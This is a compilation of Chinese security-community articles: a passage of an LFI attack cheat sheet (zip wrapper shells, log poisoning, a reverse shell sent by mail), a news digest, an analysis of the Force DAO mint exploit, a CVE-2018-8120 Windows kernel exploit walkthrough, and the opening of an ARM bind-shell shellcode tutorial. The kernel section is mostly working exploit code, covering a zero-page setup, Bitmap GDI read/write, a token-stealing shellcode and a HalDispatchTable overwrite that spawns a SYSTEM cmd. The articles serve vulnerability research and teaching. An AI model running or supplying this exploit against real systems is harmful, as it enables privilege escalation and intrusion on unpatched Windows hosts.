3.将这个.zip文件上传到远程服务器。
4.利用PHP ZIP封装提取PHP SHELL，使用“php?page=zip://path/to/file.zip%23shell”。
5.上面的命令会将提取的文件存储为名为SHELL.php的文件，如果服务器端没有添加.php后缀，可以通过重命名来添加。
如果文件上传功能不允许上传ZIP文件，可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。
**通过/proc/self/environ执行LFI**
通过本地文件包含漏洞,查看是否可以[包含/proc/self/environ](http://www.thinksaas.cn/topics/0/662/662092.html)文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中，本地文件包含漏洞会利用并执行/proc/self/environ，用于重新加载环境变量，最后会执行你的反弹shell。
**空字节技术**
通过在URL编码中增加“空字节”，比如“00%”，在某些情况下能绕过WEB应用程序中的过滤。通常，增加空字符后，后端的WEB应用程序对该输入有可能会放行或不处理，从而可以绕过WEB应用黑名单过滤器。
下面是一些特殊的LFI空字节注入的实例：
**截断LFI绕过**
截断是另一个绕过黑名单的技术，通过向有漏洞的文件包含机制中注入一个长的参数，WEB应用有可能会“砍掉它”(截断)输入的参数，从而有可能绕过输入过滤。
LFI截断实例：
**日志文件污染**
日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常，访问目标系统上的某些对外开放的服务时，系统会自动将访问记录写入到日志文件中，利用这个机制，有可能会将代码写入到日志中。例如，利用一个包含PHP反弹shell的URL访问目标系统时，目标系统会返回一个404页面，并将创建一个apache的访问记录，记录中会包含之前的PHP反弹shell。利用之前已经发现的文件包含漏洞，可以解析apache的日志文件，从而执行日志中的PHP反弹shell。
在将源代码导入到目标系统的日志文件之后，下一步就是确定日志文件的位置。在对WEB服务器进行渗透测试的侦察和发现阶段，通常我们都会通过扫描来收集目标系统的信息，一个好的出发点是查找被识别的操作系统和WEB服务器的默认日志路径。结合“Burp
intruder”和“[FuzzDB的Burp
LFI载荷列表](https://github.com/tennc/fuzzdb/tree/master/dict/BURP-PayLoad/LFI)”，我们可以很快在目标系统中识别出有效的日志文件位置。
下面是一些常用的、在linux或UNIX上对外开放的服务：
Apache/Nginx
可以使用netcat将代码注入到WEB服务器访问或错误日志中，然后通过之前发现的LFI漏洞，解析本地的日志文件。如果WEB服务器的日志文件太长，执行你的代码可能需要一些时间。
**通过邮件给目标机器发送一个反弹shell**
如果目标机器直接或通过网络上的另一台机器转发电子邮件，并将邮件存储在系统的www-data用户下(或者其它apache的用户)，通过电子邮件给目标发送一个反弹shell是完全有可能的。如果域名不存在MX记录，但是SMTP对外可以访问，那么就有可能连接到目标邮件服务器，并向www-data/apache用户发送邮件。邮件要发送到当前正在运行apache的用户上，这才能确保用户帐户有权限访问到该用户的邮件数据目录，及数据中注入的PHP反弹shell。在该实例中，用户帐户是www-data，邮件目录是/var/spool/mail/www-data。
在实际攻击中，首先使用一个已知的UNIX/LINUX帐户名称列表来对目标系统进行枚举，如下：
如上图：使用smtp-user-enum脚本确认www-data用户帐户存在于系统中。
下面的图片显示通过telnet给www-data用户发送邮件的过程：
下图显示的www-data邮件脱机文件中含有被发送过去的PHP反弹shell代码。
利用netcat监听本地80端口，用于目标系统中PHP反弹SHELL的回连，如下图，PHP SHELL成功反弹：
**参考**
<https://highon.coffee/blog/lfi-cheat-sheet/>
<https://www.owasp.org/index.php/PHP_File_Inclusion>
DVWA(用于LFI实例):<http://www.dvwa.co.uk/> | 社区文章 |
# 【知识】8月15日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
dcrawl：基于GO语言的多线程web爬虫、如何把本地文件包含变为远程文件包含漏洞、攻击Java反序列化、探索Windows虚拟内存管理、通过smb
pipes实现端口转发的Powershell脚本、Exploitations of Uninitialized Uses on macOS
Sierra、Glitch攻击介绍（包括Glitch Explorer）、CuckooDroid 2.0：自动化Android恶意软件分析工具**
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
Facebook 如何掌握竞争对手的情报
前比特币开发者公开中本聪的早期邮件
**资讯类：**
朝鲜黑客组织被指攻击美国国防承包商
<http://www.securityweek.com/north-korea-linked-hackers-target-us-defense-contractors>
**技术类：**
在Active Directory中检测违规密码
<https://jacksonvd.com/checking-for-breached-passwords-in-active-directory/>
dcrawl：基于GO语言的多线程web爬虫
<https://github.com/kgretzky/dcrawl>
看我如何把本地文件包含变为远程文件包含漏洞
<https://l.avala.mp/?p=241>
攻击Java反序列化
<https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>
探索Windows虚拟内存管理
<http://www.triplefault.io/2017/08/exploring-windows-virtual-memory.html>
通过smb pipes实现端口转发的Powershell脚本
<https://github.com/p3nt4/Piper>
Exploitations of Uninitialized Uses on macOS Sierra
<https://www.usenix.org/system/files/conference/woot17/woot17-paper-xu.pdf>
Breaking Instacart
<https://introvertmac.wordpress.com/2017/08/14/breaking-instacarts-authentication/>
Glitch攻击介绍（包括Glitch Explorer）
<https://wiki.newae.com/Tutorial_A2_Introduction_to_Glitch_Attacks_(including_Glitch_Explorer)>
利用Volatility实现DoublePulsar SMB（NSA武器库泄露工具）植入检测
<http://www.shelliscoming.com/2017/08/doublepulsar-smb-implant-detection-from.html>
CuckooDroid 2.0：自动化Android恶意软件分析工具
<https://github.com/idanr1986/cuckoodroid-2.0>
Exploitations of Uninitialized Uses on macOS Sierra
<https://www.usenix.org/system/files/conference/woot17/woot17-paper-xu.pdf>
逆向工程433MHz Motorised Blind RF协议
<https://nickwhyte.com/post/2017/reversing-433mhz-raex-motorised-rf-blinds/>
挖掘漏洞的几种方式
[http://gynvael.coldwind.pl/?lang=en&id=659](http://gynvael.coldwind.pl/?lang=en&id=659)
WMI_Forensics
<https://github.com/davidpany/WMI_Forensics> | 社区文章 |
# Force DAO 任意铸币攻击事件复盘分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
Force DAO 是 DeFi 投资策略的去中心化自治组织，致力于在 DeFi 世界识别 alpha，Force 以 DAO
的方式，致力于通过遵循社区提出的策略，并通过强有力的激励措施，以产生卓越的回报。
零时科技监控到消息，北京时间2021年4月4日，Force DAO社区用户发推文称Force
DAO遭到黑客攻击，任意用户可铸币FORCE，攻击者利用此漏洞共铸币数千万枚FORCE代币，零时科技安全团队及时对该安全事件进行复盘分析。
## 事件分析
通过初步分析，Force DAO遭受攻击的原因如下：
该漏洞主要问题在xFORCE合约代码ForceProfitSharing.sol上，该错误使任何人都可以调用“ deposit
”功能，而无论他们是否持有FORCE令牌，这意味着可以在不锁定任何令牌的情况下从xFORCE合约中铸造xFORCE令牌。
然后，任何人都可以通过调用xFORCE合约中的“ withdraw ”功能将这些xFORCE令牌交换为FORCE代币。
具体代码分析如下：
首先看看xFORCE合约代码ForceProfitSharing.sol中的deposit方法：
在用户进行 deposit 操作时，xFORCE 为用户铸造 xFORCE 代币，并通过 FORCE 代币合约的 transferFrom 函数将用户的
FORCE 代币转入 ForceProfitSharing 合约中，注意这里并没有进行判断是否成功调用force.transferFrom 函数。
接下来跟进，来看看FORCE 代币合约的 transferFrom 方法：
FORCE 代币合约的 transferFrom 函数调用了doTransfer函数，在doTransfer函数中，使用 if-else
逻辑来检查用户的授权额度，当用户的授权额度不足时 transferFrom 函数返回 false，而 ForceProfitSharing 合约的
deposit 方法中并未对其返回值进行检查。
结果导致了xFORCE合约中 deposit 的逻辑正常执行，xFORCE 代币被顺利铸造给用户，接下来用户可以通过xFORCE的 withdraw
函数将这些xFORCE令牌交换为FORCE代币。
xFORCE的 withdraw 函数代币如下：
但由于 force.transferFrom 函数执行失败，用户的 FORCE 代币并未被真正转账给 ForceProfitSharing 合约中，最终造成
FORCE 代币被大量铸造。
通过初步分析，Force DAO遭受攻击的过程如下：
其中一个黑客攻击者的钱包地址：
<https://etherscan.io/address/0x9d9c3695c54601929cd72d34a52935268eb9b00b>
首先，用户调用xForce合约的 deposit
方法，传入较大amout值，此时用户成功获得大量xFORCE令牌，但是amout值较大，导致force.transferFrom返回false。
合约地址：
<https://etherscan.io/address/0xe7f445b93eb9cdabfe76541cc43ff8de930a58e6>
交易hash：
<https://etherscan.io/tx/0xdf05020d5d3c3a975627ce29f24b4eb8ccb8807f9f9c9aa05e644c61fe5f0141>
然后，用户再调用xForce合约的 withdraw
方法，由于上面已经获得大量xFORCE令牌，这里传入等值的xFORCE令牌数量，然后获得对应的FORCE代币。
交易hash：
<https://etherscan.io/tx/0x3b60252b36d2de2930a64f360926bfcba44d12ff44719de3c6dd486b9dafe118>
最后，此攻击者将FORCE代币转移至1inch V3，然后获得ETH。
交易hash：
<https://etherscan.io/tx/0x03c84e3f7d9c117260a49bab6bd9cb1b2d7e1cbc6d9362e74c10ef6d48a987e6>
此漏洞共被5位攻击者利用，其中一位白帽攻击者，地址如下：
<https://etherscan.io/address/0xf88a427c5bf29acf58497c0088cbf7ca9836b7b2>
已归还获取的FORCE，但是其他几位攻击者已经从中套利，并在其钱包地址中仍然拥有FORCE代币未出售。
其他几位恶意攻击者钱包地址如下：
<https://etherscan.io/address/0x9d9c3695c54601929cd72d34a52935268eb9b00b>
<https://etherscan.io/address/0xe29a07002c7be4299b51a2892799cc4a372994dd>
<https://etherscan.io/address/0x0608576ea47b265f1f16b8b8383d0508f703a0cb>
<https://etherscan.io/address/0x00000b20f0f6a3a212aa6b85106709cd5941457c>
## 总结
该攻击事件中，主要原因在于 FORCE 代币合约的 transferFrom 函数使用了 if-else 方式判断，但外部合约 xForce
在对其进行调用时并未严格的判断其返回值，导致任意用户恶意铸币漏洞发生。
此漏洞为典型的“假充值”漏洞，已经被强调很长时间，但是目前仍然存在，所以合约代码安全极为重要，安全审计不可忽视，在零时科技安全团队在审计过程中也曾多次发现过此类问题，并及时和项目方人员对接，规避了此类问题的发生。
## 安全建议
DeFi今年确实备受关注，黑客攻击也不断发生。针对频频发生的黑客攻击事件，我们给出以下的安全建议：
合约代币尽量使用标准的Open Zeppelin ERC-20 来防止本次漏洞的发生；
在项目上线之前，找专业的第三方安全企业进行全面的安全审计，而且可以找多家进行交叉审计；
可以发布漏洞赏金计划，发送社区白帽子帮助找问题，先于黑客找到漏洞；
加强对项目的安全监测和预警，尽量做到在黑客发动攻击之前发布预警从而保护项目安全。
## 私钥存储安全建议
私钥尽量手抄，确保私钥的准确性，多次校验；
多个安全地方存储
不要截屏和拍照，会同步到云端
不要拷贝粘贴，会同步到云端
不要使用邮件传输或存储私钥
不要将私钥发到群里
不要将私钥导入未知的第三方网站 | 社区文章 |
# Windows内核提权漏洞CVE-2018-8120分析 - 下
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前文再续，书接上一回[《Windows内核提权漏洞CVE-2018-8120的分析·上》](https://www.anquanke.com/post/id/241057)
## 一、Bitmap GDI技术
BitmapGDI技术，是指通过Bitmap对象信息泄露漏洞，衍生出的一种内核内存污染技术，据了解，Bitmap对象信息漏洞最早由国外安全研究员 Cesar
Cerrudo
于2004年报告至微软，而真正公布的时间是在2006年的11月，至到2015年经安全研究人员于社区分享发布，因可以用作将内核任意写漏洞转换为内核任意读写漏洞而渐入眼帘。
**（一）原理**
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中，有存在于内核空间中的成员指针变量pvScan0，而该指针变量可以在用户态下，通过调用GetBitmaps以及SetBitmaps方法，对pvScan0指向的内存地址进行读取和写入。
因此，如果通过内核写漏洞修改指针变量pvScan0，我们就可以在用户态下通过Set\GetBitmaps方法，对内核空间进行读取和写入，最终将内核任意写漏洞，转化为内核任意读写漏洞。
**（二）指针变量pvScan0在哪？**
当程序调用了CreateBitmap方法后，程序的进程环境控制块（PEB）中的GdiSharedHandleTable表便增加了一个索引，该索引对象的结构为：
typedef struct _GDICELL
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
该对象的pKernelAddress泄露了Bitmap对象的内核地址，继续来看pKernelAddress指向的数据结构：
typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}
typedef struct _BASEOBJECT {
HANDLE hHmgr; 0x04
PVOID pEntry; 0x08
LONG cExclusiveLock; 0x0d
PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf; 0x04
HSURF hsurf; 0x08
DHPDEV dhpdev; 0x09
HDEV hdev; 0x0a
SIZEL sizlBitmap; 0x0e
ULONG cjBits; 0x12
PVOID pvBits; 0x16
PVOID pvScan0; 0x20
LONG lDelta; 0x24
ULONG iUniq; 0x28
ULONG iBitmapFormat; 0x2c
USHORT iType; 0x2e
USHORT fjBitmap; 0x30
} SURFOBJ
于是，我们可以了解到，在32位系统下，通过GDICELL->pKernelAddress +
0x30（在64位系统下是0x50，具体计算成员变量指针所占字节），即可得到指向pvScan0指针的偏移量。
**(三）如何利用漏洞来更改pvScan0指针？**
首先，创建2个Bitmap对象，姑且称其分别为Work、Manager。第一张图，是未修改前的初始状态。
下图，是使用内核任意写漏洞，将Manager的pvScan0指针改写过后的状态，逻辑可能需要反复理解。
将WorkPvScan0在pKernelAddress中的偏移量写入到Manager的PvScan0，至此Manager的PvScan0指针更改为指向WorkPvScan0的指针。通过对ManagerBitmap对象做SetBitmaps操作，可以设置Work的PvScan0指针的值，进而指向任意地址。
随后再通过对WokerBitmap对象做Set\GetBitmaps操作，完成内核读写。
## 二、利用NtUserSetImeInfoEx漏洞
**（一）回顾漏洞代码逻辑**
再次回顾，导致任意写漏洞的代码逻辑路径。
GetProcessWindowStation得到tagWindowStation对象，其结构为：
kd> dt tagwindowstation
win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
因此，a1为tagWindowStation对象，V3为tagWindowStation->spklList，spklList对象的结构为：
kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
v3[5]为tagWindowStation->spklList->hkl，最后v3[11]为tagWindowStation->spklList->piiex。代码逻辑可以转化为：
v3 = tagWindowStation->spklList;
while ( spklList->hkl != a2[0]){
....
}
v4 = spklList->piiex;
if( !v4[18]){
qmemcpy(v4,a2,348u);
}
**（二）布局零页构造入参**
假设我们传入NtUserSetImeInfoEx的参数名称为buf，那么我们需令tagwindowstation->spklList->hkl等于
buf[0]，令tagwindowstation->spklList->piiex不为空，令tagwindowstation->spklList->piiex->fLoadFlag不为空，就可以将buf中的数据拷贝到v4指向的地址中，此处v4为tagwindowstation->spklList->piiex。由于tagwindowstation->spklList默认为NULL，等同于从0x00000000（零地址）读起，那么我们首先创建零页。
//创建零页
// 定义NtAllocateVirtualMemory函数结构
typedef NTSTATUS(WINAPI* MyNtAllocate)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
void allocateZero(){
PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址
DWORD size = 0x1000; // 分配页面大小为4KB
MyNtAllocate fun;
*(FARPROC*)&fun = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
if (fun == NULL)
{
printf("[-] fail to GetAddress");
exit(-1);
}
fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间
printf("success to allocate Zero Page!\n");
}
分别创建Work、Manager的bitmap对象，并计算得到偏移量，为了更改Manager的pvScan0为Worker的pvScan0偏移量，就要使v4为Manager的pvScan偏移量，a2[0]为Wokerpvscan0对象偏移量，于是，要在零页构造要被读取的数据（留意这里pvScan0跟pvScan0的偏移量不一样，pvScan0的偏移量保存的是pvScan0指针的地址，而pvScan0指针，保存的是另一数据的地址）
unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
DWORD getpeb()
{
//读取fs寄存器偏移量0x30,即为PEB
DWORD p = (DWORD)__readfsdword(0x30);
return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
PVOID getpvscan0(HANDLE h)
{
if (!gtable)
gtable = getgdi();
// Bitmap句柄的末尾四字节为GDICELL在GdiShareHandleTable中的索引，通过LOWROD来取
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
GDICELL* c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x30;
}
//得到偏移量
PVOID managerpv= getpvscan0(gManger);
PVOID workpv = getpvscan0(gWorker);
//使tagwindowstation->spklList->hkl（内存偏移为0x00000014） = workpvscan0偏移量
*(DWORD*)(0x14) = (DWORD)(workpv);
//使tagwindowstation->spklList->piiex（内存偏移为0x0000002c）= managerpvscan0偏移量
*(DWORD*)(0x2C) = (DWORD)(managerpv);
// 由于拷贝384字节，设置buf为大于384字节即可，并将buf每个字节设置0，避免读取空
//为跳过While循环，我们令DWORD Buf[0] = workpvscan0偏移量，由于类型为DWORD，因此每次读取4字节。
char buf[0x200];
RtlSecureZeroMemory(&buf, 0x200);
PVOID *p = (PVOID*)&buf;
p[0] = (PVOID)wo
由于我们直接覆盖pvscan0后的数据，因此要对pvscan0后的其余成员变量进行填充修复，避免影响Get\SetBitmaps函数的使用，正常情况下，成员变量的值为下图中红框处，我们填充进buf当中。
p[0] 为WorkBitmap的pvscan0偏移，图中为83f7f3fc
p[1] = 0x180;
p[2] = 0x2110;
p[3] = 6;
p[4] = 0x10000;
// p[5] = 0x00000000，因为先前buf已经分配0，因此不用赋值
p[6] = 0x4800200;
//调用存在漏洞的NtUserSetImeInfoEx
HWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hStation);
NtUserSetImeInfoEx((PVOID)&buf)
此时，再进行调试，就可以发现，ManagerPvscan0已经指向了“WorkPvscan0的偏移量”了，Windbg调试命令如下：
kd> !process 0 0 project3.exe
PROCESS 866c0858 SessionId: 1 Cid: 0eb0 Peb: 7ffdc000 ParentCid: 0c08
DirBase: 3f3373c0 ObjectTable: 88257c78 HandleCount: 19.
Image: Project3.exe
kd> .process /r /p 866c0858
dt _peb @$peb
+0x094 GdiSharedHandleTable : 0x00480000 Void
kd> dd 0x00480000 + (0x89050cd3 & 0xffff) * 0x10
0048cd30 fe674608 00000eb0 40058905 00000000
kd> dd fe674608 + 0x30
fe674638 fdfe0ad0 00000180 00002111 00000
至此，通过对ManagerBitmap句柄做SetBitmaps操作，即可更改WorkPvscan0指针的值，可指向内核任意地址。
**（三）替换系统函数执行ShellCode实现提权原理**
这里的ShellCode采用替换进程的令牌Toekn的方法，将当前用户态进程的令牌Token替换为高权限进程的Token，进而实现权限提升。
__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure of the current thread
mov eax, [eax + 0x50] // find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the linked list of process activities
sub eax, 0xb8 // Linked list traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM according to PID
jnz find_sys_pid
// Replace Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
xor eax, eax
ret
}
}
单纯在用户态定义shellcode函数并进行调用，是无法获取高权限的进程令牌Token的，因此需要在内核态中，对shellcode函数进行调用，方可实现令牌Token替换的目的。
由于，我们具备了在内核态中的读写能力，我们可以找到在用户态中可以调用的,并且会产生模式切换的系统API函数，通过内核写，将该函数的入口地址修改为shellcode函数的入口地址，当我们在用户态调用该函数时，会进行模式切换，切换为内核模式并以内核权限调用我们的shellcode函数，进而实现提权。
我们可以在SSDT（SystemService Dispatch Table）、HalDispatchTable
两个表中去寻找可调用的内核API函数。在选用内核 API
函数的时候，要尽可能选择较少调用的函数，避免在修改了函数地址同时时，有其他进程进行调用，导致内存访问出错或程序崩溃。参考链接：[
_https://blog.csdn.net/qq_43312649/article/details/105295017_](https://blog.csdn.net/qq_43312649/article/details/105295017)
这里选用的内核API函数为NtQueryIntervalProfile，NtQueryIntervalProfile函数是在ntdll.dll中导出的未公开的系统调用，可以直接在用户态下进行调用，因此我们可以通过Bitmap
GDI技术，对该函数的入口地址进行替换与恢复。NtQueryIntervalProfile()是Ntdll.dll中导出的未公开的系统调用，它会调用由内核可执行程序ntosknl.exe导出的KeQueryIntervalProfile函数。
而KeQueryIntervalProfile函数又会进一步调用HalDispatchTable表加0x4偏移量的函数地址
因此，我们可以将ShellCode的入口地址，通过内核写漏洞，写入到HalDispatchTable +
0x4中，当我们调用NtQueryIntervalProfile并产生模式切换的时候，就会在内核态中调用我们的ShellCode函数，进而完成提权。
**（四）寻找HalDispatchTable地址**
对于Windows系统的内核态而言，可划分为以下：
（1）硬件抽象层（HardwareAbstraction Layer -> Hal)
（2）内核（Kernel）
（3）运行体（Executive）
（4）窗体图形子系统（WindowsGraphicsSubsystem）
而HalDispatch正是与硬件抽象层有关，因此我们需从系统加载的内核程序中进行导出，此处以加载内核程序ntkrnlpa.exe为例，通过EnumDeviceDrivers函数，获取在内核空间中ntkrnlpa.exe运行时的基址，。
#include<Psapi.h>
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
然后在用户态，加载ntkrnlpa.exe程序，并搜索HalDispatchTable表的导出地址，并用用户态中的HalDispatchTable导出地址减去用户态中加载ntkrnlpa.exe的模块基址，就可以获得HalDispatchTable表相对于模块基址的偏移量，最后由内核空间中ntkrnlpa.exe基址加上偏移量，得到HalDispatchTable在内核中的地址，并加上0x4偏移量进行返回。
DWORD32 GetHalOffset_4()
{
// 获取ntkrnlpa.exe运行时基址
PVOID pNtkrnlpaBase = NtkrnlpaBase();
printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
// 获取用户态加载ntkrnlpa.exe的地址
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
// 获取用户态中HalDispatchTable的地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
// 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量，得到HalDispatchTable在内核空间中的地址，加上0x4偏移量
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
return (DWORD32)hal_4;
}
**（五）触发ShellCode**
// 定义函数原型
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
PVOID pOrg = 0;
DWORD haladdr = GetHalOffset_4();
PVOID oaddr = (PVOID)haladdr;
PVOID sc = &ShellCode;
//替换NtQueryIntervalProfile的地址为shellcode的地址
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //Use manager to set the modifiable address of worker as hal function
printf("[+]The target address to be overwritten 0x%x\n", oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//Get the address that can be modified
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//Set the address to shellcode
printf("[+] Overwriting is complete, ready to execute Shellcode");
// 调用NtQueryIntervalProfile，触发shellcode函数
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
//恢复NtQueryIntervalProfile函数地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
system("cmd");
## 三、踩坑
（一）编译时，留意Visual
Studio的MFC以及字符集设置，如果采用静态，则调用函数时，要留意末端是W（Unicode字符集）还是A（多字节字符集），所选用的函数必须与字符集相匹配，否则会出现正常编译运行，但没有效果的问题。
（二）计算偏移时，要留意内存对齐问题
## 四、参考链接
（一）[
_https://www.freebuf.com/vuls/180227.html_](https://www.freebuf.com/vuls/180227.html)
（二）[ _https://docs.microsoft.com/en-us/previous-versions/bb665982(v=msdn.10)_](https://docs.microsoft.com/en-us/previous-versions/bb665982\(v=msdn.10\))
（三）[
_http://t.zoukankan.com/exclm-p-4107662.html_](http://t.zoukankan.com/exclm-p-4107662.html)
（四）[ _https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf_](https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf)
（五）https://www.programmersought.com/article/84165899589/ | 社区文章 |
本文是[《TCP Bind Shell in Assembly (ARM 32-bit)》](https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/)的翻译文章。
在本教程中，你将学习如何编写没有空字节的TCP绑定(bind)
shellcode，并且可以使用其进行利用。当我们讨论漏洞利用时，指的是经过批准并且合法的漏洞研究。
至于软件漏洞研究新人，我可以告诉你，这些知识实际上可以用得很好。如果我发现了一个像堆栈溢出这样的漏洞并想测试其可利用性，那我就需要运行shellcode。
不仅如此，我还需要能成功利用该shellcode的技术，即使采取了安全措施，也可以执行shellcode。只有这样才能展示此漏洞的可利用性以及恶意攻击者可能利用的技术来利用安全漏洞。
完成本教程后，你不仅会知道如何编写能将shell绑定到本地端口的shellcode，还能知道如何编写任何针对这个问题的shellcode。从绑定shellcode到反向shellcode只是改变1-2个函数，一些参数，大多都是相同的。
编写绑定或反向shell比创建一个简单的execve() shell更困难。如果你想从更基础的开始，你可以学习如何在汇编中编写一个[简单的execve()
shell](https://xz.aliyun.com/t/4098)，然后再深入研究这个稍微更难的教程。
如果你需要复习Arm程序集的知识，请查看我的[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)教程系列，或使用此备忘单：
在开始之前，我想提醒你，我们正在写ARM shellcode，因此，如果还没有ARM的实验环境。 你可以自己设置（[使用QEMU模拟Raspberry
Pi](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)）或节约时间来下载我创建的现成的Lab VM（[ARM Lab VM](https://azeria-labs.com/arm-lab-vm/)）。 准备好了吗？
# 理解细节
首先，什么是绑定shell，它是如何工作的？
使用绑定shell，可以在目标计算机上打开通信端口或侦听器。然后，侦听器进入等待传入连接的状态，连接到它后，侦听器接受连接并将会为你提供对目标系统的shell访问。
这与反向shell的工作方式不同。 使用反向shell，可以使目标计算机与你的计算机进行通信。
在这种情况下，你的计算机有一个侦听器端口，它能接收从目标系统返回的连接。
根据目标环境，两种类型的shell都有其优点和缺点。 例如，更常见的情况是，目标网络的防火墙无法阻止传出的连接，而不是传入的连接。
这意味着你的绑定shell将绑定到目标系统上的端口，但由于传入的连接被阻止，你将无法连接到它。因此，在某些情况下，最好有一个可以利用允许传出连接的防火墙错误配置的反向shell。
如果你知道如何编写绑定shell，那么就会编写反向shell。 一旦你了解了汇编代码是如何完成的，只需要进行一些更改即可将汇编代码转换为反向shell。
要将绑定shell的函数转换为arm汇编，首先需要熟悉绑定shell的过程：
1. 创建一个新的TCP套接字
2. 将套接字绑定到本地端口
3. 监听传入的连接
4. 接收传入的连接
5. 将STDIN，STDOUT和STDERR重定向到客户端新创建的套接字
6. 生成shell
这是我们将用于翻译的C代码。
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int host_sockid; // socket file descriptor
int client_sockid; // client file descriptor
struct sockaddr_in hostaddr; // server aka listen address
int main()
{
